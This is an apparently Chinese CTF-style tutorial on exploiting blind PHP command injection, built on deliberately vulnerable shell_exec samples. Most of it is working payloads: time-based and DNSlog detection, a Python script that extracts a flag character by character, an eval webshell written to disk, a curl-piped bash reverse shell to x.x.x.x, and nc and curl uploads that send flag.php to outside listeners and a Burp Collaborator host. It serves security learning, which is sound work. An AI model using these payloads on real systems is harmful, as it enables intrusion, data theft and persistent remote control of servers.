命令执行可能会存在命令执行但没有回显,所以首先要判断命令是否有执行。确定命令可以执行,然后就可以进行无回显命令执行的利用了。

判断方法

测试代码

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){
shell_exec($_GET['cmd']);
}
?>

延迟

1
?cmd=ls | sleep 3

通过是否延时来判断该条命令是否有执行,有延时则代表命令有执行,延迟3秒

HTTP请求

1.在公网服务器监听监听端口

1
nc -lvp 4444

2.向目标服务器发起http请求,执行curl命令

1
?cmd=|curl ip:4444

如果向目标服务器发起http请求后,公网服务器监听端口得到一些信息,就证明测试点存在命令执行漏洞
1.png

DNS 请求

如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现。

ceye.io注册,注册完后会给一个域名
1.png
如果有该域名解析请求就会被记录

1
2
?cmd=ls |curl  `whoami`.awa4xw.ceye.io
?cmd=ls |ping `whoami`.awa4xw.ceye.io

1.png

利用方法

示例代码:
index.php

1
2
3
4
5
6
7
8
9
10
<?php
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
include("flag.php");

$ip=$_REQUEST['ip'];
if($ip){
shell_exec("ping -c 4 ".$ip);
}
?>

命令执行

使用>或>>

1
?ip=1 |cat  flag.php >flag.txt

mv 或 cp

1
2
?ip=1 |mv  flag.php flag.txt
?ip=1 |cp flag.php flag.txt

打包压缩

(1)tar打包或tar打包并压缩

1
2
tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php

(2)zip压缩

1
zip flag.zip flag.php

cut and sleep

sed指定读取文件的第几行

1
cat flag.php | sed -n '2p'

提取每一行的第3个字节

1
cut -b 3 flag文件

最后

1
cat flag.php | sed -n '2p' |cut -b 1

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import time
url="http://119.3.37.185/"
flag=""
for i in range(6,65):
for j in range(32,127):
data="a=`cut -b {} /flag*`;[ $a = \"{}\" ] && sleep 1".format(i,chr(j))
#print(data)
start_time=time.time()
requests.post(url=url,data={"cmd":data})
end_time = time.time()
spend_time = end_time - start_time
if spend_time>1:
flag += chr(j)
print(flag)

写入webshell

直接写入

1
?ip=1| echo "<?php @eval(\$_POST[9415]); ?>" > webshell.php

外部下载

1
wget 网址 -O webshell.php #使用wget下载shell,使用参数-O来指定一个文件名

dnslog

(1)命令执行时要避免空格,空格会导致空格后面的命令执行不到;
(2)将读取的文件命令用反引号``包含起来;
(3)拼接的域名有长度限制

1
2
3
4
5
6
#用<替换读取文件中的空格,且对输出结果base64编码
curl `cat<flag.php|base64`

#拼接域名(最终构造结果)
curl `cat<flag.php|base64`.awa4xw.ceye.io
#另一种方法(不过有的环境下不可以)`cat flag.php|sed s/[[:space:]]//g`.awa4xw.ceye.io

这里读取flag.php没有成功

反弹shell

1.首先在公网服务器使用nc命令监听端口

1
nc -lvp 4444 #或nc -vv -lp 4444

2.然后在公网服务器上写一个文件(我写入到qwzf文件),内容是下面命令

1
bash -i >& /dev/tcp/x.x.x.x/4444 0>&1

3.最终浏览器上执行的payload(实际上就是在目标机执行curl x.x.x.x:8002/qwzf|bash)

1
ip=|curl x.x.x.x:8002/qwzf|bash

nc

tcp
1.公网服务器监听4444端口

1
nc -tlp 4444

2.目标服务器执行如下命令

1
ip=|nc -t x.x.x.x 4444 < flag.php

-u参数调整为udp,当tcp不能使用的时候使用

udp

1.公网服务器监听4444端口

1
nc -ulp 4444

2.目标服务器执行如下命令

1
ip=|nc -u x.x.x.x 4444 < flag.php

curl上传文件读取源码

利用条件:目标服务器curl命令可以正常执行

使用curl -F将flag文件上传到Burp的Collaborator Client(Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看POST请求包以及打Cookies)

1.获取Collaborator Client分配给Burp的链接

1
2
打开Burp主界面 -> 菜单(Burp)-> Collaboraor Client -> 点击
Copy to Clipboard

2.拼接payload并在命令执行处提交

1
ip=1|curl -X  POST -F xx=@flag.php http://6hoo9jdwyggr4rkwrgoy1f51bshi57.burpcollaborator.net

3.查看Collaborator Client收到的数据
1.png

参考文章:
浅谈PHP无回显命令执行的利用
CTF入门web篇18命令执行无回显的判断方法及dnslog相关例题